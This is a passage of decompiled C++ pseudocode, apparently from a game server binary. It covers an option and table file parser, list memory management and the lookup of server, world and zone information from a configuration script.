v9[4]; // [sp+Ch] [bp-30h]@1 int v10; // [sp+10h] [bp-2Ch]@1 int v11; // [sp+14h] [bp-28h]@1 int v12; // [sp+18h] [bp-24h]@1 int v13; // [sp+1Ch] [bp-20h]@1 char *v14; // [sp+20h] [bp-1Ch]@1 ORRecord *thisa; // [sp+24h] [bp-18h]@1 int v16; // [sp+28h] [bp-14h]@1 unsigned int v17; // [sp+2Ch] [bp-10h]@3 int v18; // [sp+38h] [bp-4h]@1 v6 = this; arg = (int)RecordDataCompareArgument::_vftable_; v13 = 0; v12 = 0; v11 = 0; v10 = 0; *(_DWORD *)v9 = 0; strncpy(v9, column, 0x14u); v14 = content; thisa = 0; v16 = skip; v18 = 0; List::l_4AllInList((List *)&v6->ort_DataRecord, (ListIteratorDefault *)&arg); if ( thisa ) ORRecord::orr_GetFieldData(thisa, targetcolumn, type); __security_check_cookie(v17); return result; } // 5D9D50: using guessed type int (__stdcall *RecordDataCompareArgument___vftable_[2])(int ele, __int16 handle); //----- (005571A0) -------------------------------------------------------- void *__thiscall ORTable::ort_RecordBuffer(ORTable *this, int order) { void *result; // eax@2 int arg; // [sp+0h] [bp-18h]@1 int v4; // [sp+4h] [bp-14h]@1 ORRecord *thisa; // [sp+8h] [bp-10h]@1 int v6; // [sp+14h] [bp-4h]@1 arg = (int)OrderArgument::_vftable_; v4 = order; thisa = 0; v6 = 0; List::l_4AllInList((List *)&this->ort_DataRecord, (ListIteratorDefault *)&arg); if ( thisa ) result = ORRecord::orr_GetBuffer(thisa); else result = 0; return result; } // 5D9D20: using guessed type int (__stdcall *OrderArgument___vftable_[2])(int ele, __int16 handle); //----- (00557220) -------------------------------------------------------- void *__thiscall ORTable::ort_RecordBuffer(ORTable *this, char *column, char *content, int skip) { ORTable *v4; // edi@1 void *result; // eax@3 int arg; // [sp+8h] [bp-34h]@1 char v7[4]; // [sp+Ch] [bp-30h]@1 int v8; // [sp+10h] [bp-2Ch]@1 int v9; // [sp+14h] [bp-28h]@1 int v10; // [sp+18h] [bp-24h]@1 int v11; // [sp+1Ch] [bp-20h]@1 char *v12; // [sp+20h] [bp-1Ch]@1 ORRecord *thisa; // [sp+24h] [bp-18h]@1 int v14; // [sp+28h] [bp-14h]@1 unsigned int v15; // [sp+2Ch] [bp-10h]@3 int v16; // [sp+38h] [bp-4h]@1 v4 = this; arg = (int)RecordDataCompareArgument::_vftable_; v11 = 0; v10 = 0; v9 = 0; v8 = 0; *(_DWORD *)v7 = 0; strncpy(v7, column, 0x14u); v12 = content; thisa = 0; v14 = skip; v16 = 0; List::l_4AllInList((List *)&v4->ort_DataRecord, (ListIteratorDefault *)&arg); if ( thisa ) ORRecord::orr_GetBuffer(thisa); __security_check_cookie(v15); return result; } // 5D9D50: using guessed type int (__stdcall *RecordDataCompareArgument___vftable_[2])(int ele, __int16 handle); //----- (005572D0) -------------------------------------------------------- void *__thiscall OptionReader::or_SelectFromOrder(OptionReader *this, ORToken table, int order) { void *result; // eax@3 int (__stdcall **tname)(int, __int16); // [sp+0h] [bp-2Ch]@1 int v5; // [sp+4h] [bp-28h]@1 int v6; // [sp+8h] [bp-24h]@1 int v7; // [sp+Ch] [bp-20h]@1 int v8; // [sp+10h] [bp-1Ch]@1 int v9; // [sp+14h] [bp-18h]@1 ORTable *thisa; // [sp+18h] [bp-14h]@1 unsigned int cookie; // [sp+1Ch] [bp-10h]@3 int v12; // [sp+28h] [bp-4h]@1 v5 = *(_DWORD *)&table; v6 = *(_DWORD *)&table.ort_Name[4]; v7 = *(_DWORD *)&table.ort_Name[8]; tname = &TableNameCompareArgument::_vftable_; v8 = *(_DWORD *)&table.ort_Name[12]; v9 = *(_DWORD *)&table.ort_Name[16]; thisa = 0; v12 = 0; List::l_4AllInList(&this->or_TableList, (ListIteratorDefault *)&tname); if ( thisa ) ORTable::ort_RecordBuffer(thisa, order); __security_check_cookie(cookie); return result; } // 5D9D54: using guessed type int (__stdcall *TableNameCompareArgument___vftable_)(int ele, __int16 handle); //----- (00557370) -------------------------------------------------------- void *__thiscall OptionReader::or_Select(OptionReader *this, char *targetcolumn, ORToken table, char *key, int *type) { ORKeyList *v5; // ecx@2 ORKeyList **v6; // esi@2 ORRecord *v7; // eax@4 void *result; // eax@5 int (__stdcall **tname)(int, __int16); // [sp+0h] [bp-2Ch]@1 int v10; // [sp+4h] [bp-28h]@1 int v11; // [sp+8h] [bp-24h]@1 int v12; // [sp+Ch] [bp-20h]@1 int v13; // [sp+10h] [bp-1Ch]@1 int v14; // [sp+14h] [bp-18h]@1 int v15; // [sp+18h] [bp-14h]@1 unsigned int cookie; // [sp+1Ch] [bp-10h]@5 int v17; // [sp+28h] [bp-4h]@1 v10 = *(_DWORD *)&table; v11 = *(_DWORD *)&table.ort_Name[4]; v12 = *(_DWORD *)&table.ort_Name[8]; tname = &TableNameCompareArgument::_vftable_; v13 = *(_DWORD *)&table.ort_Name[12]; v14 = *(_DWORD *)&table.ort_Name[16]; v15 = 0; v17 = 0; List::l_4AllInList(&this->or_TableList, (ListIteratorDefault *)&tname); if ( v15 ) { v5 = *(ORKeyList **)(v15 + 2104); v6 = (ORKeyList **)(v15 + 2104); if ( v5 ) { if ( ORKeyList::okl_Searching(v5, key) ) { v7 = ORKeyList::okl_Searching(*v6, key); ORRecord::orr_GetFieldData(v7, targetcolumn, type); } } } __security_check_cookie(cookie); return result; } // 5D9D54: using guessed type int (__stdcall *TableNameCompareArgument___vftable_)(int ele, __int16 handle); //----- (00557440) -------------------------------------------------------- void *__thiscall OptionReader::or_SelectFrom(OptionReader *this, ORToken table, char *column, char *content, int skip) { void *result; // eax@3 int (__stdcall **tname)(int, __int16); // [sp+0h] [bp-2Ch]@1 int v7; // [sp+4h] [bp-28h]@1 int v8; // [sp+8h] [bp-24h]@1 int v9; // [sp+Ch] [bp-20h]@1 int v10; // [sp+10h] [bp-1Ch]@1 int v11; // [sp+14h] [bp-18h]@1 ORTable *thisa; // [sp+18h] [bp-14h]@1 unsigned int cookie; // [sp+1Ch] [bp-10h]@3 int v14; // [sp+28h] [bp-4h]@1 v7 = *(_DWORD *)&table; v8 = *(_DWORD *)&table.ort_Name[4]; v9 = *(_DWORD *)&table.ort_Name[8]; tname = &TableNameCompareArgument::_vftable_; v10 = *(_DWORD *)&table.ort_Name[12]; v11 = *(_DWORD *)&table.ort_Name[16]; thisa = 0; v14 = 0; List::l_4AllInList(&this->or_TableList, (ListIteratorDefault *)&tname); if ( thisa ) ORTable::ort_RecordBuffer(thisa, column, content, skip); __security_check_cookie(cookie); return result; } // 5D9D54: using guessed type int (__stdcall *TableNameCompareArgument___vftable_)(int ele, __int16 handle); //----- (005574F0) -------------------------------------------------------- void *__thiscall OptionReader::or_Select(OptionReader *this, char *targetcolumn, ORToken table, char *column, char *content, int skip, int *type) { void *result; // eax@3 int (__stdcall **tname)(int, __int16); // [sp+0h] [bp-2Ch]@1 int v9; // [sp+4h] [bp-28h]@1 int v10; // [sp+8h] [bp-24h]@1 int v11; // [sp+Ch] [bp-20h]@1 int v12; // [sp+10h] [bp-1Ch]@1 int v13; // [sp+14h] [bp-18h]@1 ORTable *thisa; // [sp+18h] [bp-14h]@1 unsigned int cookie; // [sp+1Ch] [bp-10h]@3 int v16; // [sp+28h] [bp-4h]@1 v9 = *(_DWORD *)&table; v10 = *(_DWORD *)&table.ort_Name[4]; v11 = *(_DWORD *)&table.ort_Name[8]; tname = &TableNameCompareArgument::_vftable_; v12 = *(_DWORD *)&table.ort_Name[12]; v13 = *(_DWORD *)&table.ort_Name[16]; thisa = 0; v16 = 0; List::l_4AllInList(&this->or_TableList, (ListIteratorDefault *)&tname); if ( thisa ) ORTable::ort_FindData(thisa, column, content, targetcolumn, skip, type); __security_check_cookie(cookie); return result; } // 5D9D54: using guessed type int (__stdcall *TableNameCompareArgument___vftable_)(int ele, __int16 handle); //----- (005575B0) -------------------------------------------------------- char __thiscall OptionReader::or_MakePrimaryKey(OptionReader *this, ORToken table, char *column) { char result; // al@3 int (__stdcall **tname)(int, __int16); // [sp+0h] [bp-2Ch]@1 int v5; // [sp+4h] [bp-28h]@1 int v6; // [sp+8h] [bp-24h]@1 int v7; // [sp+Ch] [bp-20h]@1 int v8; // [sp+10h] [bp-1Ch]@1 int v9; // [sp+14h] [bp-18h]@1 ORTable *thisa; // [sp+18h] [bp-14h]@1 unsigned int cookie; // [sp+1Ch] [bp-10h]@3 int v12; // [sp+28h] [bp-4h]@1 v5 = *(_DWORD *)&table; v6 = *(_DWORD *)&table.ort_Name[4]; v7 = *(_DWORD *)&table.ort_Name[8]; tname = &TableNameCompareArgument::_vftable_; v8 = *(_DWORD *)&table.ort_Name[12]; v9 = *(_DWORD *)&table.ort_Name[16]; thisa = 0; v12 = 0; List::l_4AllInList(&this->or_TableList, (ListIteratorDefault *)&tname); if ( thisa ) ORTable::ort_MakePrimaryKey(thisa, column); __security_check_cookie(cookie); return result; } // 5D9D54: using guessed type int (__stdcall *TableNameCompareArgument___vftable_)(int ele, __int16 handle); //----- (00557650) -------------------------------------------------------- int __thiscall OptionReader::or_SelectCount(OptionReader *this) { return this->or_TableList.l_ListNum; } //----- (00557660) -------------------------------------------------------- char __thiscall List::l_Enlargement(List *this, int extsize) { List *v2; // ebp@1 ListArray *v4; // eax@3 int v5; // edi@3 int v6; // ebx@5 void *v7; // eax@5 void *v8; // esi@6 void *v9; // eax@9 int v10; // esi@13 void *v11; // ecx@17 void *v12; // edx@17 int v13; // esi@17 int v14; // ecx@19 int v15; // edx@20 int v16; // eax@22 int v17; // edx@22 void *v18; // ST10_4@22 void **v19; // eax@22 void *v20; // eax@22 void *v21; // esi@23 ListArray *v22; // edx@24 void *newarray; // [sp+4h] [bp-14h]@9 void *extsizea; // [sp+1Ch] [bp+4h]@6 v2 = this; if ( this->l_Finger.empty != -1 ) return 0; v4 = this->l_ListArray; v5 = 0; if ( !v4 ) return 0; v6 = extsize + v4->la_Size; v7 = operator new__(2056 * (extsize + v4->la_Size) + 4); if ( v7 ) { v8 = (char *)v7 + 4; *(_DWORD *)v7 = v6; _eh_vector_constructor_iterator_( (char *)v7 + 4, 0x808u, v6, (void (__thiscall *)(void *))ORRecord::ORRecord, (void (__thiscall *)(void *))ORRecord::_ORRecord); extsizea = v8; } else { extsizea = 0; v8 = 0; } if ( !v8 ) return 0; v9 = operator new__(12 * v6 + 12); newarray = v9; if ( !v9 ) { _eh_vector_destructor_iterator_(v8, 0x808u, *((_DWORD *)v8 - 1), (void (__thiscall *)(void *))ORRecord::_ORRecord); operator delete__((char *)v8 - 4); return 0; } if ( v2->l_ListArray->la_Size > 0 ) { v10 = 0; do { ORRecord::l_Clone((ORRecord *)((char *)extsizea + v10 * 2056), &v2->l_ListArray->la_Array[v10]); ++v5; ++v10; } while ( v5 < v2->l_ListArray->la_Size ); v9 = newarray; } memcpy(v9, v2->l_Array, 12 * v2->l_ListArray->la_Size); *((_WORD *)v9 + 6 * v2->l_Array[v2->l_Finger.store].ls_Next + 3) = v6; *((_WORD *)v9 + 6 * v2->l_Array[v2->l_Finger.store].ls_Prev + 2) = v6; if ( v6 > 0 ) { v11 = extsizea; v12 = v9; v13 = v6; do { *(_DWORD *)v12 = v11; v11 = (char *)v11 + 2056; v12 = (char *)v12 + 12; --v13; } while ( v13 ); } v14 = v2->l_MaxSize; if ( v14 < v6 ) { v15 = (int)((char *)v9 + 12 * v14 + 4); do { *(_WORD *)v15 = v14 + 1; *(_BYTE *)(v15 + 4) = 0; *(_WORD *)(v15 + 2) = v14++ - 1; v15 += 12; } while ( v14 < v6 ); } *((_WORD *)v9 + 6 * v2->l_MaxSize + 3) = v6 - 1; v16 = (int)((char *)v9 + 12 * v6); *(_WORD *)(v16 - 8) = v2->l_MaxSize; v17 = (int)&v2->l_Array[v2->l_MaxSize]; *(_DWORD *)v16 = *(_DWORD *)v17; *(_DWORD *)(v16 + 4) = *(_DWORD *)(v17 + 4); *(_DWORD *)(v16 + 8) = *(_DWORD *)(v17 + 8); v18 = v2->l_Array; v2->l_Finger.empty = v2->l_MaxSize; operator delete__(v18); v19 = (void **)v2->l_ListArray; v2->l_Array = (ListStruct *)newarray; v20 = *v19; if ( v20 ) { v21 = (char *)v20 - 4; _eh_vector_destructor_iterator_(v20, 0x808u, *((_DWORD *)v20 - 1), (void (__thiscall *)(void *))ORRecord::_ORRecord); operator delete__(v21); } v2->l_ListArray->la_Array = (ORRecord *)extsizea; v22 = v2->l_ListArray; v2->l_MaxSize = v6; v22->la_Size = (unsigned __int16)v6; v2->l_Finger.store = LOWORD(v2->l_ListArray->la_Size); return 1; } //----- (005578F0) -------------------------------------------------------- char __thiscall ORTable::ort_ReadData(ORTable *this, ORTokenReader *token) { ORTable *v2; // ebx@1 char *v3; // esi@1 int v4; // eax@1 int v5; // edi@2 char result; // al@4 int v7; // eax@5 int arg; // [sp+Ch] [bp-18h]@8 ORTokenReader *v9; // [sp+10h] [bp-14h]@8 int v10; // [sp+14h] [bp-10h]@8 int v11; // [sp+20h] [bp-4h]@8 v2 = this; v3 = (char *)&this->ort_DataRecord; v4 = this->ort_DataRecord.l_Finger.empty; if ( (_WORD)v4 != -1 ) { v5 = (*(int (__thiscall **)(List *, int))(*(_DWORD *)v3 + 4))(&this->ort_DataRecord, v4); if ( v5 ) goto LABEL_11; } if ( !List::l_Enlargement((List *)v3, 8) ) { ORTokenReader::ortr_SetError(token, "Too many records"); return 0; } v7 = *((_WORD *)v3 + 6); if ( (_WORD)v7 != -1 && (v5 = (*(int (__thiscall **)(char *, int))(*(_DWORD *)v3 + 4))(v3, v7)) != 0 ) { LABEL_11: ORRecord::orr_MakeBuffer((ORRecord *)v5, v2->ort_RecordLength); arg = (int)DataRecordArgument::_vftable_; v9 = token; v10 = v5; v11 = 0; result = ORRecord::orr_4AllInList((ORRecord *)&v2->ort_HeaderList, (ListIteratorDefault *)&arg); } else { ORTokenReader::ortr_SetError(token, "Record alloc error after list enlargement"); result = 0; } return result; } // 5D9D44: using guessed type int (__stdcall *DataRecordArgument___vftable_[5])(int ele, __int16 handle); //----- (005579F0) -------------------------------------------------------- char __thiscall OptionReader::or_ExecRecordIn(OptionReader *this, ORTokenReader *token) { OptionReader *v2; // esi@1 char *v3; // eax@1 char result; // al@4 char *v5; // [sp-4h] [bp-50h]@2 char table[4]; // [sp+Ch] [bp-40h]@5 int v7; // [sp+10h] [bp-3Ch]@5 int v8; // [sp+14h] [bp-38h]@5 int v9; // [sp+18h] [bp-34h]@5 int v10; // [sp+1Ch] [bp-30h]@5 int (__stdcall **tname)(int, __int16); // [sp+20h] [bp-2Ch]@5 int v12; // [sp+24h] [bp-28h]@5 int v13; // [sp+28h] [bp-24h]@5 int v14; // [sp+2Ch] [bp-20h]@5 int v15; // [sp+30h] [bp-1Ch]@5 int v16; // [sp+34h] [bp-18h]@5 ORTable *thisa; // [sp+38h] [bp-14h]@5 unsigned int v18; // [sp+3Ch] [bp-10h]@4 int v19; // [sp+48h] [bp-4h]@5 v2 = this; v3 = ORTokenReader::ortr_ReadString(token, BIS_EXCLUDEBRACE); if ( !v3 ) { v5 = "#recordin has no table name"; LABEL_3: ORErrorMessage::operator_(&v2->or_Argument.errmsg, v5); goto LABEL_4; } v10 = 0; v9 = 0; v8 = 0; v7 = 0; *(_DWORD *)table = 0; strncpy(table, v3, 0x14u); v12 = *(_DWORD *)table; v13 = v7; tname = &TableNameCompareArgument::_vftable_; v14 = v8; v15 = v9; v16 = v10; thisa = 0; v19 = 0; List::l_4AllInList(&v2->or_TableList, (ListIteratorDefault *)&tname); if ( !thisa ) { v5 = "Unknown table name"; goto LABEL_3; } if ( ORTable::ort_ReadData(thisa, token) ) !ORTokenReader::ortr_isEOL(token); LABEL_4: __security_check_cookie(v18); return result; } // 5D9D54: using guessed type int (__stdcall *TableNameCompareArgument___vftable_)(int ele, __int16 handle); //----- (00557B00) -------------------------------------------------------- char __thiscall OptionReader::or_ExecRecord(OptionReader *this, ORTokenReader *token) { ORTable *v2; // eax@1 char result; // al@2 v2 = this->or_CurrentTable; if ( v2 ) { result = ORTable::ort_ReadData(v2, token) && ORTokenReader::ortr_isEOL(token); } else { ORErrorMessage::operator_(&this->or_Argument.errmsg, "Record without table"); result = 0; } return result; } //----- (00557B50) -------------------------------------------------------- void *__thiscall OptionReader::or_SelectFrom(OptionReader *this, ORToken table, char *column, int content, int skip) { OptionReader *v5; // esi@1 _BYTE v6[20]; // ST00_20@1 char buf[16]; // [sp+4h] [bp-14h]@1 v5 = this; sprintf(buf, "%d"); *(_DWORD *)v6 = *(_DWORD *)&table; *(_QWORD *)&v6[4] = *(_QWORD *)&table.ort_Name[4]; *(_QWORD *)&v6[12] = *(_QWORD *)&table.ort_Name[12]; return OptionReader::or_SelectFrom(v5, *(ORToken *)v6, column, buf, skip); } //----- (00557BD0) -------------------------------------------------------- void *__thiscall OptionReader::or_Select(OptionReader *this, char *targetcolumn, ORToken table, char *column, int content, int skip, int *type) { OptionReader *v7; // esi@1 _BYTE v8[20]; // ST04_20@1 char buf[16]; // [sp+4h] [bp-14h]@1 v7 = this; sprintf(buf, "%d"); *(_DWORD *)v8 = *(_DWORD *)&table; *(_QWORD *)&v8[4] = *(_QWORD *)&table.ort_Name[4]; *(_QWORD *)&v8[12] = *(_QWORD *)&table.ort_Name[12]; return OptionReader::or_Select(v7, targetcolumn, *(ORToken *)v8, column, buf, skip, type); } //----- (00557C50) -------------------------------------------------------- int __thiscall OptionReader::or_SelectCountFrom(OptionReader *this, ORToken table) { int result; // eax@1 int (__stdcall **tname)(int, __int16); // [sp+0h] [bp-2Ch]@1 int v4; // [sp+4h] [bp-28h]@1 int v5; // [sp+8h] [bp-24h]@1 int v6; // [sp+Ch] [bp-20h]@1 int v7; // [sp+10h] [bp-1Ch]@1 int v8; // [sp+14h] [bp-18h]@1 int v9; // [sp+18h] [bp-14h]@1 unsigned int cookie; // [sp+1Ch] [bp-10h]@1 int v11; // [sp+28h] [bp-4h]@1 v4 = *(_DWORD *)&table; v5 = *(_DWORD *)&table.ort_Name[4]; v6 = *(_DWORD *)&table.ort_Name[8]; tname = &TableNameCompareArgument::_vftable_; v7 = *(_DWORD *)&table.ort_Name[12]; v8 = *(_DWORD *)&table.ort_Name[16]; v9 = 0; v11 = 0; List::l_4AllInList(&this->or_TableList, (ListIteratorDefault *)&tname); __security_check_cookie(cookie); return result; } // 5D9D54: using guessed type int (__stdcall *TableNameCompareArgument___vftable_)(int ele, __int16 handle); //----- (00557CF0) -------------------------------------------------------- void __thiscall CServerInfo::CServerInfo(CServerInfo *this) { CCsl::CCsl(&this->m_Csl); } //----- (00557D00) -------------------------------------------------------- int __thiscall CServerInfo::ReadServerInfo(CServerInfo *this, char *pFN) { CCsl *v2; // esi@1 v2 = (CCsl *)this; CCsl::Clear(&this->m_Csl); return CCsl::ReadScript(v2, pFN, 0, 0x401u, 0); } //----- (00557D40) -------------------------------------------------------- int __thiscall CServerInfo::GetMyServerInfo(CServerInfo *this, CServerInfo::MY_SERVER *pMyServer) { CCsl *v2; // edi@1 int v3; // ebx@1 int v4; // esi@1 int result; // eax@4 v2 = (CCsl *)this; v3 = CCsl::GetNumDatas(&this->m_Csl); v4 = 0; if ( v3 <= 0 ) { LABEL_4: result = 0; } else { while ( CCsl::GetDataInfo(v2, v4)->dwID ) { ++v4; if ( v4 >= v3 ) goto LABEL_4; } pMyServer->pServiceName = (char *)CCsl::GetData(v2, v4, 0); pMyServer->pDisplayName = (char *)CCsl::GetData(v2, v4, 1); pMyServer->nServerID = *(_DWORD *)CCsl::GetData(v2, v4, 2); pMyServer->nWorldNo = *(_DWORD *)CCsl::GetData(v2, v4, 3); pMyServer->nZoneNo = *(_DWORD *)CCsl::GetData(v2, v4, 4); result = 1; } return result; } //----- (00557DD0) -------------------------------------------------------- int __thiscall CServerInfo::GetServerInfo(CServerInfo *this, CServerInfo::SERVER_INFO *pServerInfo, int ScriptorDataIndex) { CCsl *v3; // esi@1 int result; // eax@2 v3 = (CCsl *)this; if ( CCsl::GetDataInfo(&this->m_Csl, ScriptorDataIndex)->dwID == 2 ) { pServerInfo->pName = (char *)CCsl::GetData(v3, ScriptorDataIndex, 0); pServerInfo->nServerID = *(_DWORD *)CCsl::GetData(v3, ScriptorDataIndex, 1); pServerInfo->nWorldNo = *(_DWORD *)CCsl::GetData(v3, ScriptorDataIndex, 2); pServerInfo->nZoneNo = *(_DWORD *)CCsl::GetData(v3, ScriptorDataIndex, 3); pServerInfo->nServerIDFrom = *(_DWORD *)CCsl::GetData(v3, ScriptorDataIndex, 4); pServerInfo->pIP = (char *)CCsl::GetData(v3, ScriptorDataIndex, 5); pServerInfo->nPort = *(_DWORD *)CCsl::GetData(v3, ScriptorDataIndex, 6); pServerInfo->nBackLog = *(_DWORD *)CCsl::GetData(v3, ScriptorDataIndex, 7); pServerInfo->nMaxAccept = *(_DWORD *)CCsl::GetData(v3, ScriptorDataIndex, 8); result = 1; } else { result = 0; } return result; } //----- (00557E80) -------------------------------------------------------- int __thiscall CServerInfo::GetServerIndex(CServerInfo *this, int ServerID, int WorldNo, int ZoneNo, int ServerIDFrom) { CServerInfo *v5; // edi@1 int v6; // ebx@1 int v7; // esi@1 int result; // eax@8 char ServerInfo; // [sp+10h] [bp-24h]@2 int v10; // [sp+14h] [bp-20h]@3 int v11; // [sp+18h] [bp-1Ch]@4 int v12; // [sp+1Ch] [bp-18h]@5 int v13; // [sp+20h] [bp-14h]@6 v5 = this; v6 = CCsl::GetNumDatas(&this->m_Csl); v7 = 0; if ( v6 <= 0 ) { LABEL_8: result = -1; } else { while ( !CServerInfo::GetServerInfo(v5, (CServerInfo::SERVER_INFO *)&ServerInfo, v7) || ServerID != v10 || WorldNo != v11 || ZoneNo != v12 || ServerIDFrom != v13 ) { ++v7; if ( v7 >= v6 ) goto LABEL_8; } result = v7; } return result; } //----- (00557F00) -------------------------------------------------------- int __thiscall CServerInfo::GetServerIndex(CServerInfo *this, int ServerID, int WorldNo, int ZoneNo) { CServerInfo *v4; // edi@1 int v5; // ebx@1 int v6; // esi@1 int result; // eax@7 char ServerInfo; // [sp+10h] [bp-24h]@2 int v9; // [sp+14h] [bp-20h]@3 int v10; // [sp+18h] [bp-1Ch]@4 int v11; // [sp+1Ch] [bp-18h]@5 v4 = this; v5 = CCsl::GetNumDatas(&this->m_Csl); v6 = 0; if ( v5 <= 0 ) { LABEL_7: result = -1; } else { while ( !CServerInfo::GetServerInfo(v4, (CServerInfo::SERVER_INFO *)&ServerInfo, v6) || ServerID != v9 || WorldNo != v10 || ZoneNo != v11 ) { ++v6; if ( v6 >= v5 ) goto LABEL_7; } result = v6; } return result; } //----- (00557F70) -------------------------------------------------------- int __thiscall CServerInfo::GetWorldName(CServerInfo *this, int nWorldNo, CServerInfo::WORLD_NAME *pWorldName) { CCsl *v3; // edi@1 int v4; // ebp@1 int v5; // esi@1 int v6; // eax@3 int result; // eax@5 v3 = (CCsl *)this; v4 = CCsl::GetNumDatas(&this->m_Csl); v5 = 0; if ( v4 <= 0 ) { LABEL_5: result = 0; } else { while ( 1 ) { if ( CCsl::GetDataInfo(v3, v5)->dwID == 1 ) { v6 = *(_DWORD *)CCsl::GetData(v3, v5, 0); if ( v6 == nWorldNo ) break; } ++v5; if ( v5 >= v4 ) goto LABEL_5; } pWorldName->nWorldNo = v6; pWorldName->pWorldName = (const char *)CCsl::GetData(v3, v5, 1); pWorldName->pWorldDataPath = (const char *)CCsl::GetData(v3, v5, 2); result = 1; } return result; } //----- (00557FE0) -------------------------------------------------------- int __thiscall CServerInfo::GetServerInfo(CServerInfo *this, CServerInfo::SERVER_INFO *pServerInfo, int ServerID, int WorldNo, int ZoneNo, int ServerIDFrom) { CServerInfo *v6; // esi@1 int v7; // eax@1 int result; // eax@2 v6 = this; v7 = CServerInfo::GetServerIndex(this, ServerID, WorldNo, ZoneNo, ServerIDFrom); if ( v7 == -1 ) result = 0; else result = CServerInfo::GetServerInfo(v6, pServerInfo, v7); return result; } //----- (00558020) -------------------------------------------------------- int __thiscall CServerInfo::GetServerInfo(CServerInfo *this, CServerInfo::SERVER_INFO *pServerInfo, int ServerID, int WorldNo, int ZoneNo) { CServerInfo *v5; // esi@1 int v6; // eax@1 int result; // eax@2 v5 = this; v6 = CServerInfo::GetServerIndex(this, ServerID, WorldNo, ZoneNo); if ( v6 == -1 ) result = 0; else result = CServerInfo::GetServerInfo(v5, pServerInfo, v6); return result; } //----- (00558060) -------------------------------------------------------- ORToken *__thiscall ORToken::ort_ToLower(ORToken *this) { ORToken *result; // eax@1 char *v2; // edx@1 signed int v3; // esi@1 unsigned __int8 v4; // bl@2 char v5; // bl@5 char v6; // bl@8 char v7; // bl@11 char v8; // bl@14 result = this; v2 = &this->ort_Name[1]; v3 = 4; do { v4 = *(v2 - 1); if ( v4 >= 0x41u && v4 <= 0x5Au ) *(v2 - 1) = v4 + 32; v5 = *v2; if ( (unsigned __int8)*v2 >= 0x41u && (unsigned __int8)v5 <= 0x5Au ) *v2 = v5 + 32; v6 = v2[1]; if ( (unsigned __int8)v6 >= 0x41u && (unsigned __int8)v6 <= 0x5Au ) v2[1] = v6 + 32; v7 = v2[2]; if ( (unsigned __int8)v7 >= 0x41u && (unsigned __int8)v7 <= 0x5Au ) v2[2] = v7 + 32; v8 = v2[3]; if ( (unsigned __int8)v8 >= 0x41u ) { if ( (unsigned __int8)v8 <= 0x5Au ) v2[3] = v8 + 32; } v2 += 5; --v3; } while ( v3 ); return result; } //----- (005580E0) -------------------------------------------------------- char __thiscall ORToken::ort_IsNull(ORToken *this) { return this->ort_Name[0] == 0; } //----- (005580F0) -------------------------------------------------------- char *__thiscall ORToken::ort_GetString(ORToken *this, char *buf) { char *result; // eax@1 result = buf; *(_QWORD *)buf = *(_QWORD *)&this->ort_Name[0]; *((_QWORD *)buf + 1) = *(_QWORD *)&this->ort_Name[8]; *((_DWORD *)buf + 4) = *(_DWORD *)&this->ort_Name[16]; buf[20] = 0; return result; } //----- (00558120) -------------------------------------------------------- char __thiscall ORLinebuffer::orlb_LineRead(ORLinebuffer *this) { ORLinebuffer *v1; // esi@1 const char *v2; // edi@1 char result; // al@2 unsigned int v4; // ecx@3 int v5; // eax@3 v1 = this; v2 = this->orlb_Buffer; if ( fgets(this->orlb_Buffer, 2048, this->orlb_fp) ) { v4 = strlen(v2); v5 = 0; v1->orlb_LineLen = v4; for ( v1->orlb_Pointer = 0; v5 < v1->orlb_LineLen; ++v5 ) { if ( v2[v5] == 32 ) { if ( v5 > 0 && *((_BYTE *)&v1->orlb_fp + v5 + 3) == 9 ) v2[v5] = 9; if ( v5 < v1->orlb_LineLen - 1 ) { if ( v1->orlb_Buffer[v5 + 1] == 9 ) v2[v5] = 9; } } } result = 1; } else { v1->orlb_LineLen = -1; result = 0; } return result; } //----- (005581B0) -------------------------------------------------------- int __thiscall ORLinebuffer::orlb_FGetc(ORLinebuffer *this) { int v1; // edx@1 int result; // eax@2 v1 = this->orlb_Pointer; if ( this->orlb_LineLen >= v1 ) { result = this->orlb_Buffer[v1]; this->orlb_Pointer = v1 + 1; } else { result = 999; } return result; } //----- (005581E0) -------------------------------------------------------- char __thiscall ORDelimiter::operator__(ORDelimiter *this, int chr) { char result; // al@2 int v3; // edx@3 int v4; // eax@3 if ( chr >= 32 ) { v3 = this->ord_Number; v4 = 0; if ( v3 <= 0 ) { LABEL_6: result = 0; } else { while ( this->ord_Array[v4] != chr ) { ++v4; if ( v4 >= v3 ) goto LABEL_6; } result = 1; } } else { result = 1; } return result; } //----- (00558220) -------------------------------------------------------- void __thiscall ORDelimiter::ORDelimiter(ORIgnore *this) { this->ori_Number = 0; } //----- (00558230) -------------------------------------------------------- void __thiscall ORExchange::ORExchange(ORExchange *this) { this->ore_Number = 0; } //----- (00558240) -------------------------------------------------------- int __thiscall ORExchange::operator__(ORExchange *this, int chr) { int result; // eax@1 int v3; // esi@1 int v4; // edx@1 result = chr; v3 = this->ore_Number; v4 = 0; if ( v3 > 0 ) { while ( this->ore_Array[v4].from != chr ) { ++v4; if ( v4 >= v3 ) return result; } result = this->ore_Array[v4].to; } return result; } //----- (00558270) -------------------------------------------------------- void __thiscall ORComment::ORComment(ORComment *this) { this->orc_Comment = 59; } //----- (00558280) -------------------------------------------------------- void __thiscall ORBrace::ORBrace(ORBrace *this) { this->orc_Open = 91; this->orc_Close = 93; } //----- (00558290) -------------------------------------------------------- char __thiscall ORBrace::orb_IsOpen(ORBrace *this, int chr) { return this->orc_Open == chr; } //----- (005582A0) -------------------------------------------------------- char __thiscall ORBrace::orb_IsClose(ORBrace *this, int chr) { return this->orc_Close == chr; } //----- (005582B0) -------------------------------------------------------- void __thiscall ORErrorMessage::orem_Clear(ORErrorMessage *this) { this->orem_Line = 0; this->orem_Message = "Noerr"; this->orem_Err = 0; } //----- (005582D0) -------------------------------------------------------- void __thiscall ORErrorMessage::operator_(ORErrorMessage *this, char *msg) { this->orem_Message = msg; this->orem_Err = 1; } //----- (005582E0) -------------------------------------------------------- int __thiscall ChargedItemEffectFinger::cief_GetFinger(ORErrorMessage *this) { return this->orem_Line; } //----- (005582F0) -------------------------------------------------------- void __thiscall ORTokenReader::ORTokenReader(ORTokenReader *this, _iobuf *fp, TokenArgument *argument) { this->ortr_LineBuffer.orlb_fp = fp; this->ortr_LineBuffer.orlb_Pointer = 0; this->ortr_LineBuffer.orlb_LineLen = -1; this->ortr_Argument = argument; } //----- (00558320) -------------------------------------------------------- int __thiscall ORTokenReader::ortr_SkipBlank(ORTokenReader *this) { int v1; // edx@1 int result; // eax@2 TokenArgument *v3; // esi@3 int v4; // edi@6 int v5; // edx@6 while ( 1 ) { v1 = 